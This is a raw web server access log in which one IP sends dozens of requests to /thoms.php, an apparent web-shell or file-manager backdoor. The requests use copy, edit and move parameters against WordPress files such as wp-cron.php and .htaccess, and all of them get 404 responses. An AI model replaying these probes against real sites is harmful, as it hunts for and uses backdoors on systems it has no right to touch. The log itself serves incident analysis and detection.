45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?edit=index.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=index.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?edit=index.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=index.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?edit=wp-cron.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?edit=wp-cron.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?edit=mah.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?edit=mah.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=mah.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.htaccess&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
